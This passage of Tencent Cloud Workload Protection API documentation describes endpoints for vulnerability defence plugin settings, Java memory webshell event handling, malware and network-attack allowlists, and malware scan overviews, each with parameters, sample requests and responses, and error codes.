"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"RiskFileCount": 100,
"AddRiskFileCount": 1,
"ServersCount": 50,
"IsFirstCheck": false,
"ScanTime": "2020-11-03 00:00:00"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeVulDefenceSetting

Last updated：2024-12-06 15:39:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the current vulnerability defense plugin settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefenceSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Enable	Integer	Defense switch: 0 - off; 1 - on
Scope	Integer	Scope of impact: 1 - all ultimate edition hosts across the network; 0 - hosts in the QUUID list

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Quuids	Array of String	List of affected host QUUIDs Note: This field may return null, indicating that no valid values can be obtained.
FlagshipCount	Integer	Current number of ultimate edition hosts
InstanceIds	Array of String	List of affected host IDs Note: This field may return null, indicating that no valid values can be obtained.
AutoInclude	Integer	Whether new ultimate edition hosts automatically join: 1 - yes; 0 - no
ExcludeInstanceIds	Array of String	List of excluded host IDs Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Settings of the Current Vulnerability Defense Plugin

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefenceSetting
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"Enable": 1,
"Scope": 0,
"Quuids": [
"d92d723e-4aac-4f4a-bbf9-e5430e29d289"
],
```

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```
"FlagshipCount": 8
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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DescribeVulDefencePluginExceptionCount

Last updated：2024-12-06 15:39:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the current number of abnormal plugins.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefencePluginExceptionCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Count	Integer	Current number of abnormal plugins Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Number of Currently Abnormal Plugins

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefencePluginExceptionCount
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"Count": 1
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulDefenceOverview

Last updated：2024-12-06 15:39:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the vulnerability defense overview information, including event trend and plugin enabling status.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefenceOverview.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Overview	VulDefenceOverview	Vulnerability defense overview information

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Vulnerability Defense Overview

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefenceOverview
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"Overview": {
"Enable": 1,
"DefendHostCount": 35,
"ExceptionCount": 1,
"AttackCounts": [
0,
0,
20,
0,
0,
0,
0,
17,
11,
2,
33,
49,
105,
80
],
"DefendCounts": [
```

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```
0,
0,
20,
0,
0,
0,
0,
17,
11,
2,
33,
49,
105,
80
],
"Date": [
"2024-10-21",
"2024-10-22",
"2024-10-23",
"2024-10-24",
"2024-10-25",
"2024-10-26",
"2024-10-27",
"2024-10-28",
"2024-10-29",
"2024-10-30",
"2024-10-31",
"2024-11-01",
"2024-11-02",
"2024-11-03"
]
},
"RequestId": "29fa069b-b83e-4e88-944f-456de8bfffcd"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeJavaMemShellList

Last updated：2024-12-06 15:39:29

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of Java webshell events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeJavaMemShellList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filtering criteria: Keywords: IP or host name for fuzzy query; Type or status for precise match; CreateBeginTime, CreateEndTime for time period query
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.

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3. Output Parameters

Parameter Name	Type	Description
List	Array of JavaMemShellInfo	Event list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying a List of Java Webshell Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeJavaMemShellList
<Common request parameters>

{
"Offset": 1,
"Limit": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"TotalCount": 1,
"List": [
{
"Id": 12,
"Quuid": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
```

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```
"Alias": "v_llzlu-PC0",
"HostIp": "192.168.255.10",
"Type": 1,
"Description": "Net loaded in Java (2845)...",
"CreateTime": "2021-01-20 16:17:11",
"RecentFoundTime": "2021-01-20 16:17:11",
"Status": 0
}
]
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyJavaMemShellsStatus

Last updated：2024-12-06 15:39:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the Java webshell event status.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyJavaMemShellsStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Status	Yes	Integer	Target Processing Status: 0 - Pending, 1 - Allowlisted, 2 - Deleted, 3 - Ignored, 4 - Manually Processed
Ids.N	No	Array of Integer	Event ID Array

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Java Webshell Event Status

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyJavaMemShellsStatus
<Common request parameters>

{
"Ids": [
1,
3
],
"Status": 3
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeJavaMemShellPluginList

Last updated：2024-12-06 15:39:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the Java webshell plugin list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeJavaMemShellPluginList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter Criteria: Keywords: Fuzzy query of IP or host name, JavaShellStatus, exact match of Exception
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.

3. Output Parameters

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Parameter Name	Type	Description
List	Array of JavaMemShellPluginSetting	Java Memory Trojan Plugin List Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Java Webshell Plugin

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeJavaMemShellPluginList
<Common request parameters>

{
"Offset": 1,
"Limit": 1
}
```

Output Example

```
{
"Response": {
"List": [
{
"Quuid": "e1f081aa-7777-4fdf-a2f7-88f3faa3d302",
"Alias": "armtest7.4 installation and uninstallation",
"HostIp": "172.16.48.133",
"JavaShellStatus": 0,
"Exception": 0,
"CreateTime": "2022-04-13 17:01:37",
```

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```
"ModifyTime": "2022-04-13 21:04:23"
}
],
"RequestId": "da2d723e-4aac-4f4a-bbf9-e5430e29d289",
"TotalCount": 21
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DeleteAllJavaMemShells

Last updated：2024-12-06 15:39:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete all Java webshell events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteAllJavaMemShells.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Server QUUID

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting All Java Webshell Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteAllJavaMemShells
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeJavaMemShellInfo

Last updated：2024-12-06 15:39:29

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query Java webshell event details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeJavaMemShellInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID

3. Output Parameters

Parameter Name	Type	Description
Info	JavaMemShellDetail	Java webshell event details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Java Memory Horse Event Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeJavaMemShellInfo
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"Info": {
"InstanceName": "v_llzlu-PC0",
"InstanceState": "RUNNING",
"PrivateIp": "192.168.255.10",
"PublicIp": "110.40.207.98",
"Type": 1,
"Description": "NET file loaded in Java (2845)...",
"CreateTime": "2021-01-20 16:17:11",
"RecentFoundTime": "2021-01-20 16:17:11",
"Status": 0,
"ClassLoaderName": "org.apache.jasper.servlet.JasperLoader",
"SuperClassName": "java.lang.Object",
"Md5": "37e54fce63f1ca6c82927caf7aa1c412",
"Interfaces": "java.IO.Writer,java.IO.Reader",
"Annotations": "Annotation",
```

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```
"Pid": 123,
"Exe": "/usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java",
"Args": "org.apache.catalina.startup.Bootstrap start",
"ClassName": "main.class",
"ClassContent": "avewsa==...",
"ClassContentPretty": "package com.company;public class Main public static void m
ain(String[] args) ...",
"EventDescription": "Event description",
"SecurityAdvice": "Security advice.."
}
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeJavaMemShellPluginInfo

Last updated：2024-12-06 15:39:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the Java webshell plugin information of the given host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeJavaMemShellPluginInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Filters.N	No	Array of Filters	Filter Criteria: Exact match of Pid, fuzzy match of MainClass
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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3. Output Parameters

Parameter Name	Type	Description
List	Array of JavaMemShellPluginInfo	Java Memory Trojan Plugin List Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Query Java Memory Trojan Plugin Information for a Given Host

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeJavaMemShellPluginInfo
<Common request parameters>

{
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Offset": 1,
"Limit": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"TotalCount": 1,
"List": [
{
"Pid": 21756,
```

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```
"MainClass": "main.class",
"Status": 1,
"ErrorLog": "[INFO]libpath..."
}
]
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyJavaMemShellPluginSwitch

Last updated：2024-12-06 15:39:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to enable and disable Java webshell plugins.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyJavaMemShellPluginSwitch.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuids.N	Yes	Array of String	Host QUUID array
JavaShellStatus	Yes	Integer	Plugin target status. 0: off; 1: on

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Toggling Java Webshell Plugins

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyJavaMemShellPluginSwitch
<Common request parameters>

{
"Quuids": [
"05f0bcab-726c-4ea4-8109-bcd03d5598f7"
],
"JavaShellStatus": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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CreateMalwareWhiteList

Last updated：2024-12-06 15:39:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create the Trojan allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateMalwareWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Mode	Yes	Integer	Allowlist mode. 0: MD5 allowlist; 1: customization
QuuidList.N	No	Array of String	QUUID list
IsGlobal	No	Integer	Whether applies all hosts. 0: no; 1: yes
MatchType	No	Integer	Matching pattern; 0 for exact match, 1 for fuzzy match (deprecated).
FileName.N	No	Array of String	File Name (regular expression); up to 200 characters in length

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FileDirectory.N	No	Array of String	File Directory (regular expression); up to 200 characters in length, content base64 encoded.
FileExtension.N	No	Array of String	File Suffix; Up to 200 characters in length, content base64 escaped (deprecated)
Md5List.N	No	Array of String	MD5 list
EventId	No	Integer	Trojan event ID
IsHandleHistoryEvents	No	Integer	

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Creating Trojan Allowlist

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateMalwareWhiteList
<Common request parameters>

{
"QuuidList": [
"abc"
],
"IsGlobal": 1,
"Mode": 1,
"MatchType": 1,
"FileName": [
```

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```
"abc"
],
"FileDirectory": [
"abc"
],
"FileExtension": [
"abc"
],
"Md5List": [
"e10adc3949ba59abbe56e057f20f883e"
],
"EventId": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.

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CreateNetAttackWhiteList

Last updated：2024-12-06 15:39:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create a network attack allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateNetAttackWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Scope	Yes	Integer	Whether the allowlist applies to all hosts. 0: no; 1: yes.
SrcIp.N	Yes	Array of String	Source IP. Single IP: 1.1.1.1, IP Range: 1.1.1.1-1.1.2.1, IP Range: 1.1.1.0/24
QuuidList.N	No	Array of String	QUUID list
EventId	No	Integer	Event ID
DealOldEvents	No	Integer	Whether to allowlist all alarms that match this rule: 1: Yes, 0:

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			No.
Description	No	String	Description

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Creating a Network Attack Allowlist

This example shows you how to create a network attack allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateNetAttackWhiteList
<Common request parameters>

{
"Scope": 1,
"SrcIp": [
"127.0.0.1"
],
"DealOldEvents": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "d42164cf-3e4e-49b8-ab55-adf942c609db"
}
}
```

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5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.

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DescribeMalwareRiskOverview

Last updated：2024-12-06 15:39:26

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the information of virus scanning overview.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareRiskOverview.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Data	MalwareRiskOverview	None
RequestId	String	The unique request ID, generated by the server, will be returned for

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		every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining File Scanning Overview Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalwareRiskOverview
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"Data": {
"ProcessCount": 0,
"ScanTime": "2019-12-25 11:57:15",
"HostCount": 0,
"IsFirstScan": true,
"FileCount": 0
},
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeRiskProcessEvents

Last updated：2025-03-11 22:59:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of abnormal processes.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskProcessEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
